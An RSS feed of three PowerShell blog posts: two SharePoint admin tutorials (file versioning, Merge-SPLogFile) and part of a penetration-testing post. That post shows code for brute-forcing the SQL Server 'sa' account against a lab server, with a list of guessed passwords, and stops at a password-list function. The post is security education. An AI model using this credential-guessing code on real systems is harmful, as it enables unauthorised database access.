<?xml version="1.0" encoding="UTF-8" ?>
<?xml-stylesheet type="text/xsl" href="http://powershell.com/cs/utility/FeedStylesheets/rss.xsl" media="screen"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/" xmlns:wfw="http://wellformedweb.org/CommentAPI/"><channel><title>Search results for 'app:weblogs' matching tags 'Windows PowerShell' and 'SharePoint'</title><link>http://powershell.com/cs/search/SearchResults.aspx?q=app:weblogs&amp;tag=Windows+PowerShell,SharePoint&amp;orTags=0&amp;o=DateDescending</link><description>Search results for 'app:weblogs' matching tags 'Windows PowerShell' and 'SharePoint'</description><dc:language>en-US</dc:language><generator>CommunityServer 2008.5 (Build: 30929.2835)</generator><item><title>Weekend Scripter: Use PowerShell to Upload a New File Version to SharePoint</title><link>http://powershell.com/cs/blogs/hey-scriptingguy/archive/2013/04/28/weekend-scripter-use-powershell-to-upload-a-new-file-version-to-sharepoint.aspx</link><pubDate>Sun, 28 Apr 2013 05:00:00 GMT</pubDate><guid isPermaLink="false">f421715f-7aba-45f0-8a8d-44de5318a3a7:23107</guid><dc:creator>Anonymous</dc:creator><description>&lt;p&gt;&lt;strong style="font-size:12px;"&gt;Summary&lt;/strong&gt;&lt;span style="font-size:12px;"&gt;: Microsoft PowerShell MVP, Niklas Goude, talks about using Windows PowerShell to upload a new version of a file to SharePoint.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;Microsoft Scripting Guy, Ed Wilson, is here. Today Niklas Goude is our guest blogger. You can read more from Niklas in his &lt;a href="http://blogs.technet.com/b/heyscriptingguy/archive/tags/niklas+goude/" target="_blank"&gt;past Hey, Scripting Guy! Blog posts&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Take it away Niklas&amp;hellip;&lt;/p&gt;
&lt;p&gt;In a previous post, &lt;a href="http://blogs.technet.com/b/heyscriptingguy/archive/2012/04/30/3354785.aspx" target="_blank"&gt;Use PowerShell Cmdlets to Manage SharePoint Document Libraries&lt;/a&gt;, we talked about uploading files to a share in SharePoint 2010.&amp;nbsp;&lt;span style="font-size:12px;"&gt;Now we&amp;#39;ll take this a step further and update a minor or a major version of an existing document.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;Here&amp;rsquo;s a quick recap of the code used to upload the file:&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;# Add the Snapin&lt;br /&gt; Add-PSSnapin Microsoft.SharePoint.PowerShell&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;# Retrieve specific Site&lt;br /&gt; $spWeb = Get-SPWeb http://SP01&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;# Create instance of Folder&lt;br /&gt; $spFolder = $spWeb.GetFolder(&amp;quot;Shared Documents&amp;quot;)&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;# Get the file on Disk that we want to upload&lt;br /&gt; $file = Get-Item C:\Documents\MyDoc.docx&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;# upload the file.&lt;br /&gt; $spFolder.Files.Add(&amp;quot;Shared Documents/MyDoc.docx&amp;quot;,$file.OpenRead(),$false)&lt;/p&gt;
&lt;p&gt;What we&amp;rsquo;ve done so far is to upload a single document to a document library in SharePoint 2010. The file used in this example is stored on drive C:&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;a href="http://blogs.technet.com/cfs-file.ashx/__key/communityserver-blogs-components-weblogfiles/00-00-00-76-18/7041.wes_2D00_4_2D00_28_2D00_13_2D00_1.jpg"&gt;&lt;img style="border:0px currentColor;" title="Image of menu" src="http://blogs.technet.com/resized-image.ashx/__size/550x0/__key/communityserver-blogs-components-weblogfiles/00-00-00-76-18/7041.wes_2D00_4_2D00_28_2D00_13_2D00_1.jpg" alt="Image of menu" /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;The document contains a single line:&lt;/p&gt;
&lt;p&gt;&lt;a href="http://blogs.technet.com/cfs-file.ashx/__key/communityserver-blogs-components-weblogfiles/00-00-00-76-18/5165.wes_2D00_4_2D00_28_2D00_13_2D00_2.jpg"&gt;&lt;img style="border:0px currentColor;" title="Image of menu" src="http://blogs.technet.com/resized-image.ashx/__size/550x0/__key/communityserver-blogs-components-weblogfiles/00-00-00-76-18/5165.wes_2D00_4_2D00_28_2D00_13_2D00_2.jpg" alt="Image of menu" /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;After we run the Windows PowerShell code, the document gets uploaded to a document library in SharePoint 2010.&lt;/p&gt;
&lt;p&gt;&lt;a href="http://blogs.technet.com/cfs-file.ashx/__key/communityserver-blogs-components-weblogfiles/00-00-00-76-18/8551.wes_2D00_4_2D00_28_2D00_13_2D00_3.jpg"&gt;&lt;img style="border:0px currentColor;" title="Image of menu" src="http://blogs.technet.com/resized-image.ashx/__size/550x0/__key/communityserver-blogs-components-weblogfiles/00-00-00-76-18/8551.wes_2D00_4_2D00_28_2D00_13_2D00_3.jpg" alt="Image of menu" /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;We can check the versioning for the document by clicking Version History in SharePoint:&lt;/p&gt;
&lt;p&gt;&lt;a href="http://blogs.technet.com/cfs-file.ashx/__key/communityserver-blogs-components-weblogfiles/00-00-00-76-18/0066.wes_2D00_4_2D00_28_2D00_13_2D00_4.jpg"&gt;&lt;img style="border:0px currentColor;" title="Image of menu" src="http://blogs.technet.com/resized-image.ashx/__size/350x0/__key/communityserver-blogs-components-weblogfiles/00-00-00-76-18/0066.wes_2D00_4_2D00_28_2D00_13_2D00_4.jpg" alt="Image of menu" /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;We&amp;rsquo;ll see that the version number is set to 0.1:&lt;/p&gt;
&lt;p&gt;&lt;a href="http://blogs.technet.com/cfs-file.ashx/__key/communityserver-blogs-components-weblogfiles/00-00-00-76-18/8802.wes_2D00_4_2D00_28_2D00_13_2D00_5.jpg"&gt;&lt;img style="border:0px currentColor;" title="Image of menu" src="http://blogs.technet.com/resized-image.ashx/__size/550x0/__key/communityserver-blogs-components-weblogfiles/00-00-00-76-18/8802.wes_2D00_4_2D00_28_2D00_13_2D00_5.jpg" alt="Image of menu" /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;Now, let&amp;rsquo;s open the file that is stored on drive C and modify it:&lt;/p&gt;
&lt;p&gt;&lt;a href="http://blogs.technet.com/cfs-file.ashx/__key/communityserver-blogs-components-weblogfiles/00-00-00-76-18/0602.wes_2D00_4_2D00_28_2D00_13_2D00_6.jpg"&gt;&lt;img style="border:0px currentColor;" title="Image of menu" src="http://blogs.technet.com/resized-image.ashx/__size/550x0/__key/communityserver-blogs-components-weblogfiles/00-00-00-76-18/0602.wes_2D00_4_2D00_28_2D00_13_2D00_6.jpg" alt="Image of menu" /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Back in Windows PowerShell, we use &lt;strong&gt;SPFileCollection&lt;/strong&gt; to pick up the document we just uploaded. In this example, we are going to filter out the document where the name is equal to MyDoc.docx by using the &lt;strong&gt;Where-Object&lt;/strong&gt; cmdlet.&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;# Retrieve specific Site&lt;br /&gt; $spWeb = Get-SPWeb http://SP01&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;# Create instance of Folder&lt;br /&gt; $spFolder = $spWeb.GetFolder(&amp;quot;Shared Documents&amp;quot;)&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;# Retrieve a Specific File.&lt;br /&gt; $spFile = $spFolder.Files | Where-Object { $_.Name -eq &amp;quot;MyDoc.docx&amp;quot; }&lt;/p&gt;
&lt;p&gt;&lt;span style="font-size:small;"&gt;We pick up the file because we want to use some of its properties for the new version that we want to upload. When we upload a new version of the document, we still use the &lt;strong style="font-size:12px;"&gt;Add&lt;/strong&gt; method that is provided by the Microsoft.SharePoint.SPFileCollection, but with a different overload definition. Here&amp;rsquo;s the definition on MSDN: &lt;/span&gt;&lt;a href="http://msdn.microsoft.com/en-us/library/ms448353.aspx" target="_blank"&gt;SPFileCollection.Add method (String, Stream, SPUser, SPUser, DateTime, DateTime)&lt;/a&gt;&lt;span style="font-size:12px;"&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;The parameters we want to use are: &lt;strong&gt;urlOfFile&lt;/strong&gt;, &lt;strong&gt;File&lt;/strong&gt;, &lt;strong&gt;CreatedBy&lt;/strong&gt;, &lt;strong&gt;ModifiedBy&lt;/strong&gt;, &lt;strong&gt;TimeCreated&lt;/strong&gt;, and &lt;strong&gt;TimeLastModified&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;We can get the following values from the existing document in SharePoint 2010: &lt;strong&gt;UrlOfFile&lt;/strong&gt;, &lt;strong&gt;CreatedBy&lt;/strong&gt;, &lt;strong&gt;ModifiedBy&lt;/strong&gt;, and &lt;strong&gt;TimeCreated&lt;/strong&gt;. We can get &lt;strong&gt;File&lt;/strong&gt; by using &lt;strong&gt;Get-Item&lt;/strong&gt;, and we can get &lt;strong&gt;TimeLastModified&lt;/strong&gt; by simply using &lt;strong&gt;Get-Date&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;First, let&amp;rsquo;s get the modified MyDoc.docx from drive C:&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;$file = Get-Item C:\Documents\MyDoc.docx&lt;/p&gt;
&lt;p&gt;Next we run the method:&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;$newVersion = $spFolder.Files.Add($spFile.Name, $file.OpenRead(), $spFile.Author, $spFile.ModifiedBy, $spFile.TimeCreated, (Get-Date))&lt;/p&gt;
&lt;p&gt;If we open the SharePoint document library again, we&amp;rsquo;ll see that we have a new minor version of our document, .02.&lt;/p&gt;
&lt;p&gt;&lt;a href="http://blogs.technet.com/cfs-file.ashx/__key/communityserver-blogs-components-weblogfiles/00-00-00-76-18/6710.wes_2D00_4_2D00_28_2D00_13_2D00_7.jpg"&gt;&lt;img style="border:0px currentColor;" title="Image of menu" src="http://blogs.technet.com/resized-image.ashx/__size/550x0/__key/communityserver-blogs-components-weblogfiles/00-00-00-76-18/6710.wes_2D00_4_2D00_28_2D00_13_2D00_7.jpg" alt="Image of menu" /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;And finally, if we want to add the modified document as a major version, we use the &lt;strong&gt;Publish&lt;/strong&gt; method:&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;$newVersion.Publish(&amp;quot;&amp;quot;)&lt;/p&gt;
&lt;p&gt;Now we have a new major version, 1.0, instead.&lt;/p&gt;
&lt;p&gt;&lt;a href="http://blogs.technet.com/cfs-file.ashx/__key/communityserver-blogs-components-weblogfiles/00-00-00-76-18/8357.wes_2D00_4_2D00_28_2D00_13_2D00_8.jpg"&gt;&lt;img style="border:0px currentColor;" title="Image of menu" src="http://blogs.technet.com/resized-image.ashx/__size/550x0/__key/communityserver-blogs-components-weblogfiles/00-00-00-76-18/8357.wes_2D00_4_2D00_28_2D00_13_2D00_8.jpg" alt="Image of menu" /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;~Niklas&lt;/p&gt;
&lt;p&gt;Thank you, Niklas, for taking your time to share your knowledge.&lt;/p&gt;
&lt;p&gt;I invite you to follow me on &lt;a href="http://bit.ly/scriptingguystwitter" target="_blank"&gt;Twitter&lt;/a&gt; and &lt;a href="http://bit.ly/scriptingguysfacebook" target="_blank"&gt;Facebook&lt;/a&gt;. If you have any questions, send email to me at &lt;a href="mailto:scripter@microsoft.com" target="_blank"&gt;scripter@microsoft.com&lt;/a&gt;, or post your questions on the &lt;a href="http://bit.ly/scriptingforum" target="_blank"&gt;Official Scripting Guys Forum&lt;/a&gt;. See you tomorrow. Until then, peace.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Ed Wilson, Microsoft Scripting Guy&lt;/strong&gt;&lt;/p&gt;&lt;div style="clear:both;"&gt;&lt;/div&gt;&lt;img src="http://blogs.technet.com/aggbug.aspx?PostID=3569353" width="1" height="1" alt="" /&gt;</description></item><item><title>Weekend Scripter: The Greatest SharePoint 2010 Cmdlet  </title><link>http://powershell.com/cs/blogs/hey-scriptingguy/archive/2012/11/10/weekend-scripter-the-greatest-sharepoint-2010-cmdlet.aspx</link><pubDate>Sat, 10 Nov 2012 06:00:00 GMT</pubDate><guid isPermaLink="false">f421715f-7aba-45f0-8a8d-44de5318a3a7:19946</guid><dc:creator>Anonymous</dc:creator><description>&lt;p&gt;&lt;strong&gt;Summary:&lt;/strong&gt; Guest blogger Microsoft PFE Chris Weaver talks about the greatest SharePoint&amp;nbsp;2010 Windows PowerShell cmdlet.&lt;/p&gt;
&lt;p&gt;Microsoft Scripting Guy, Ed Wilson, is here. This weekend is going to be a guest blogger weekend. Today we have back with us Microsoft PFE Chris Weaver. Read more about Chris and his previous guest blog posts &lt;a href="http://blogs.technet.com/b/heyscriptingguy/archive/tags/chris+weaver/" target="_blank"&gt;here&lt;/a&gt;. Take it away, Chris ...&lt;/p&gt;
&lt;p&gt;I was trying to think of the greatest cmdlet I have used within the SharePoint&amp;nbsp;2010 arsenal, and the first thing that came to mind was &lt;a href="http://technet.microsoft.com/en-us/library/ff607721(v=office.15)" target="_blank"&gt;Merge-SPLogFile&lt;/a&gt;. Now, this might just be because of working in support, but I find this cmdlet saves me and my customer at least an hour of work every time ULS logs are required to help troubleshoot an issue&amp;mdash;just think if you have seven or more SharePoint servers in your farm and you need to go manually collect all the log files for a particular time, copy them over the network, etc.&lt;/p&gt;
&lt;p&gt;For those of you who are new to SharePoint, or don&amp;#39;t really use it often, the ULS logs are files located locally on each server and almost everything that happens in SharePoint could get logged there depending on the Verbosity set in diagnostic logging. To further understand the diagnostic logging settings, see this &lt;a href="http://blogs.technet.com/b/christwe/archive/2012/06/11/sharepoint-diagnostic-logging.aspx" target="_blank"&gt;blog&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;This great little command can do some very heavy lifting&amp;mdash;it will gather the ULS logs from each server in your farm and compile it into one file for you, or you can save it to an object and manipulate that object as you wish. But you don&amp;#39;t have to believe me&amp;mdash;let&amp;#39;s just play with it a bit.&lt;/p&gt;
&lt;p&gt;So, let&amp;rsquo;s open up the SharePoint&amp;nbsp;2010 Management Shell (Windows PowerShell that comes with SharePoint and has the PSSnapin already loaded through the profile), and I recommend right-clicking it, and then selecting &lt;strong&gt;Run as Administrator&lt;/strong&gt;. Type the follow command:&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;&amp;nbsp;Get-Help Merge-SPLogFile&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;a href="http://blogs.technet.com/cfs-file.ashx/__key/communityserver-blogs-components-weblogfiles/00-00-00-76-18/5224.wes_2D00_11_2D00_10_2D00_12_2D00_1.png"&gt;&lt;img title="Image of command output" src="http://blogs.technet.com/resized-image.ashx/__size/550x0/__key/communityserver-blogs-components-weblogfiles/00-00-00-76-18/5224.wes_2D00_11_2D00_10_2D00_12_2D00_1.png" alt="Image of command output" /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;As you can see, there are several different parameters we can use when we want to run this command, the first command to look at is using only the parameter &lt;strong&gt;-Path&lt;/strong&gt;.&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;&amp;nbsp;Merge-SPLogFile -Path C:\Logs\Uls.log&lt;/p&gt;
&lt;p&gt;This command will go to every SharePoint server in your farm, and by using a &lt;a href="http://technet.microsoft.com/en-us/library/cc678870.aspx" target="_blank"&gt;timer job&lt;/a&gt; will gather one hour of ULS events, and then write them to the text file defined by the &lt;strong&gt;-Path&lt;/strong&gt; parameter.&amp;nbsp; This honestly is the most common way that I use this command. I will have my customer reproduce the issue, and then run the command to gather ULS logs from all servers.&lt;/p&gt;
&lt;p&gt;The second most common combination of parameters for the command is using two different parameters:&amp;nbsp;&lt;strong&gt;-StartTime&lt;/strong&gt; and &lt;strong&gt;-EndTime&lt;/strong&gt;.&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;Merge-SPLogFile -Path C:\Logs\Uls.log -StartTime &amp;quot;10/26/2012 01:00&amp;quot; -EndTime &amp;quot;10/26/2012 05:00&amp;quot;&lt;/p&gt;
&lt;p&gt;This command gathers the ULS logs from all the SharePoint servers between the Start Time and End Time. These times are represented by MM/DD/YYYY for the date, and HH:MM on a 24-hour clock for the time. These times are also culture-specific to the version of the operating system.&lt;/p&gt;
&lt;p&gt;The last combination I like to use is using a new feature in the ULS logs and that&amp;#39;s called the correlation ID, which is represented by the parameter &lt;strong&gt;-Correlation&lt;/strong&gt;.&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;Merge-SPLogFile -Path C:\Logs\Uls.log -Correlation e6f433ae-4a18-4a68-8874-bb2e1bfac95e&lt;/p&gt;
&lt;p&gt;This command gathers all events in the last hour with the Correlation ID e6f433ae-4a18-4a68-8874-bb2e1bfac95e for the last hour. Just in case you were wondering, the &lt;a href="http://sharepoint.microsoft.com/blogs/GetThePoint/Lists/Posts/Post.aspx?ID=353" target="_blank"&gt;Correlation ID&lt;/a&gt; is a GUID that is attached to all requests for the SharePoint servers. This way you can trace an error to its originating request.&lt;/p&gt;
&lt;p&gt;Just to revisit: &lt;strong&gt;Merge-SPLogFile&lt;/strong&gt; has several parameters that I have given a few examples of, and, if you wanted to, you could use all of those parameters together to gather events from all SharePoint servers from some Start Time to and End Time with a specific Correlation ID and have it written to a single file.&lt;/p&gt;
&lt;p&gt;If you ask me, this cmdlet rocks.&lt;/p&gt;
&lt;p&gt;Thank you, Chris, for sharing your time and knowledge. Join me tomorrow when Chris Wu shares his knowledge.&lt;/p&gt;
&lt;p&gt;I invite you to follow me on &lt;a href="http://bit.ly/scriptingguystwitter" target="_blank"&gt;Twitter&lt;/a&gt; and &lt;a href="http://bit.ly/scriptingguysfacebook" target="_blank"&gt;Facebook&lt;/a&gt;. If you have any questions, send email to me at &lt;a href="mailto:scripter@microsoft.com" target="_blank"&gt;scripter@microsoft.com&lt;/a&gt;, or post your questions on the &lt;a href="http://bit.ly/scriptingforum" target="_blank"&gt;Official Scripting Guys Forum&lt;/a&gt;. See you tomorrow. Until then, peace.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Ed Wilson, Microsoft Scripting Guy&lt;/strong&gt;&lt;/p&gt;&lt;div style="clear:both;"&gt;&lt;/div&gt;&lt;img src="http://blogs.technet.com/aggbug.aspx?PostID=3531368" width="1" height="1" alt="" /&gt;</description></item><item><title>Use PowerShell to Security Test SQL Server and SharePoint</title><link>http://powershell.com/cs/blogs/hey-scriptingguy/archive/2012/07/03/use-powershell-to-security-test-sql-server-and-sharepoint.aspx</link><pubDate>Tue, 03 Jul 2012 05:00:00 GMT</pubDate><guid isPermaLink="false">f421715f-7aba-45f0-8a8d-44de5318a3a7:17384</guid><dc:creator>Anonymous</dc:creator><description>&lt;p&gt;&lt;b&gt;Summary&lt;/b&gt;: Guest blogger, Niklas Goude, talks about using Windows PowerShell to perform brute force security testing on SQL Server and SharePoint.&lt;/p&gt;
&lt;p&gt;Microsoft Scripting Guy, Ed Wilson, is here. Today we have Niklas Goude back with Part 2 of his Security Week series.&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;Niklas Goude is a Security Consultant at TrueSec and an MVP in Windows PowerShell. In addition to his work performing security assessments for a variety of clients, he also has extensive experience in using Windows PowerShell to automate and implement Windows environments. He has been speaking at TechDays; SharePoint conferences in the U.S., Australia, and New Zealand; and other events and conferences. He is the author of two books about Windows PowerShell, and he shares his knowledge at &lt;a href="http://www.powershell.nu/" target="_blank"&gt;PowerShell.nu&lt;/a&gt;. He is a member of the TrueSec Expert Team, an independent, elite team of security and infrastructure consultants that operates all over the world. The security team at TrueSec performs various tasks and services related to IT security such as code review, security health checks, and penetration testing. TrueSec also delivers top-notch training sessions in advanced IT security. Check out the &lt;a href="http://www.truesec.com/" target="_blank"&gt;TruSec&lt;/a&gt; website for additional information.&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;&lt;b&gt;Note&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/b&gt; Today&amp;rsquo;s blog discusses using Windows PowerShell to perform brute force penetration testing. Windows PowerShell does not, by itself, provide anything uniquely specific to this task. Scripts could be written in any number of languages with varying degrees of difficulty. Remember that Windows PowerShell does not permit a user to do anything that the user does not have rights to do. The entire point of today&amp;rsquo;s blog is that if the systems are configured properly, the attacks will fail. Keep in mind that an easy denial-of-service attack can occur if you set restrictive account policies. To aid you in navigating various policies, review &lt;a href="http://technet.microsoft.com/en-us/library/dd349793(v=ws.10).aspx" target="_blank"&gt;Account Policies&lt;/a&gt; in the Windows Server Technical Library.&lt;/p&gt;
&lt;p&gt;This is the second blog in a series of five, and we&amp;rsquo;ll talk about basic penetration testing techniques and how they affect misconfigured systems. The series covers everything from initial network reconnaissance techniques and brute force attacks to advanced extraction of registry secrets to assess dangerous system dependencies.&lt;/p&gt;
&lt;p&gt;The key learning point is to demonstrate how you can use Windows PowerShell to accomplish almost any task&amp;mdash;no matter the subject. The secondary learning point is to make you aware of common security issues and misconfigurations that may occur in Microsoft infrastructures today. One important thing to keep in mind is that the vulnerabilities we are looking for exist simply because of misconfigurations made by administrators, such as weak passwords or system dependencies.&lt;/p&gt;
&lt;p&gt;I hope you will learn and enjoy!&lt;/p&gt;
&lt;h1&gt;Part 2: Brute force&lt;/h1&gt;
&lt;p&gt;Penetration testing is an important part of improving security in any network environment. A hacker only needs to find a few weaknesses (even one) to compromise important IT systems. An important task for an IT administrator is to identify potential weaknesses and mitigate them.&amp;nbsp;&lt;/p&gt;
&lt;p&gt;Penetrating systems is usually achieved by a brute force attack or by exploiting a weakness or misconfiguration in a service. The goal is to acquire permissions to a system. An attacker that does not succeed in a brute force attack could also perform a DOS attack to damage the system.&lt;/p&gt;
&lt;p&gt;In this scenario, we will focus on how to brute force SQL Server and web servers by using Windows PowerShell.&lt;/p&gt;
&lt;h2&gt;Scenario&lt;/h2&gt;
&lt;p&gt;This scenario is based on a Windows domain environment consisting of three machines:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;DC01: domain controller&lt;/li&gt;
&lt;li&gt;SRV01: SQL Server and IIS&lt;/li&gt;
&lt;li&gt;SP01: SharePoint 2010, SQL Server, and IIS&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;In addition, we have a client on the same network as the domain; however, the client is not a member of the domain. Each command in this scenario is executed from the client.&lt;/p&gt;
&lt;h2&gt;Configuration&lt;/h2&gt;
&lt;p&gt;The server running SQL Server, SRV01, is running a non-Microsoft application that is dependent on SQL Server authentication. During the installation, the SQL Server database engine was set to SQL Server and Windows authentication mode. The sa account is enabled and in use by the non-Microsoft application. For configuration recommendations, see &lt;a href="http://msdn.microsoft.com/en-us/library/ms144228.aspx" target="_blank"&gt;Security Considerations for a SQL Server Installation&lt;/a&gt; on MSDN.&lt;/p&gt;
&lt;p&gt;The server running SharePoint 2010, SP01, is installed by using the default settings (Next, Next, Next). The authentication method that is implemented is NTLM. For more information, see:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://technet.microsoft.com/en-us/library/cc262350.aspx" target="_blank"&gt;Plan authentication methods (SharePoint Server 2010)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://technet.microsoft.com/en-us/library/dd349793(v=ws.10).aspx" target="_blank"&gt;Account Policies&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Code&lt;/h2&gt;
&lt;p&gt;Let us start with a classic: SQL Servers using SQL Server authentication (mixed mode).&amp;nbsp;We recommend to always use Windows authentication with SQL Server when possible. But in some cases, such as when using non-Microsoft applications that depend on SQL Server authentication, mixed mode is a necessity.&lt;/p&gt;
&lt;p&gt;For an attacker, this is particularly interesting because enabling mixed mode also creates the sa account, the built-in SQL server administrator account, during setup. If mixed mode is enabled after SQL Server has been installed, you must actively enable the sa account.&lt;/p&gt;
&lt;p&gt;Because the sa account is a well-known account, it&amp;rsquo;s a typical target for an attacker. SQL Server&amp;nbsp;2008, SQL Server&amp;nbsp;2008&amp;nbsp;R2, and SQL Server&amp;nbsp;2012 apply the domain password policy by default on any SQL account and enforce complex passwords. However, some servers running older versions of SQL Server do not.&lt;/p&gt;
&lt;p&gt;Testing the password of the sa account by using Windows PowerShell is a simple task. The passwords we want to test are &amp;ldquo;sa&amp;rdquo; and blank. Other easily guessed passwords are: Password, Admin, Administrator, and sysadmin.&lt;/p&gt;
&lt;p&gt;To connect to a computer running SQL Server by using Windows PowerShell, we create an instance of System.Data.SQLClient.SQLConnection:&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;PS &amp;gt; $Connection = New-Object System.Data.SQLClient.SQLConnection&lt;/p&gt;
&lt;p&gt;Next, we set up a connection string by using standard security. The password used in the following example is blank.&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;PS &amp;gt; $server = &amp;quot;10.0.0.3&amp;quot;&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;PS &amp;gt; $user = &amp;quot;sa&amp;quot;&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;PS &amp;gt; $password = &amp;quot;&amp;quot;&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;PS &amp;gt; $Connection.ConnectionString =&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;&amp;quot;Server=$server;Initial Catalog=Master;User Id=$user;Password=$password;&amp;quot;&lt;/p&gt;
&lt;p&gt;For a good reference, see &lt;a href="http://www.connectionstrings.com/" target="_blank"&gt;The Connection String Reference&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;To test the connection, we can simply call the &lt;b&gt;Open()&lt;/b&gt; method.&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;PS &amp;gt; $Connection.Open()&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;Exception calling &amp;quot;Open&amp;quot; with &amp;quot;0&amp;quot; argument(s): &amp;quot;Login failed for user &amp;#39;sa&amp;#39;.&amp;quot;&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;At line:1 char:1&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;+ $Connection.Open()&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;+ ~~~~~~~~~~~~~~~~~~&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; + CategoryInfo&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; : NotSpecified: (:) [], MethodInvocationException&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; + FullyQualifiedErrorId : SqlException&lt;/p&gt;
&lt;p&gt;The command returns an error that states the logon failed for user &amp;lsquo;sa&amp;rsquo;. Now, let&amp;rsquo;s try setting the password to &amp;lsquo;sa&amp;rsquo; instead.&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;PS &amp;gt; $Connection = New-Object System.Data.SQLClient.SQLConnection&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;$server = &amp;quot;10.0.0.3&amp;quot;&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;$user = &amp;quot;sa&amp;quot;&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;$password = &amp;quot;sa&amp;quot;&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;$Connection.ConnectionString =&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;&amp;quot;Server=$server;Initial Catalog=Master;User Id=$user;Password=$password;&amp;quot;&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;$Connection.Open()&lt;/p&gt;
&lt;p&gt;This time the method did not return an error message, which means that we successfully guessed the sa account&amp;rsquo;s password.&lt;/p&gt;
&lt;p&gt;We can add this piece of code to a function and automate these steps even further. The following example demonstrates how to read passwords from a password list, and then pass them to a function&lt;b&gt;, Invoke-TSMedusa&lt;/b&gt;. Here&amp;rsquo;s the content of the password list:&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;PS &amp;gt; Import-Csv .\sqlPwd.csv&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;&amp;nbsp;&lt;/p&gt;
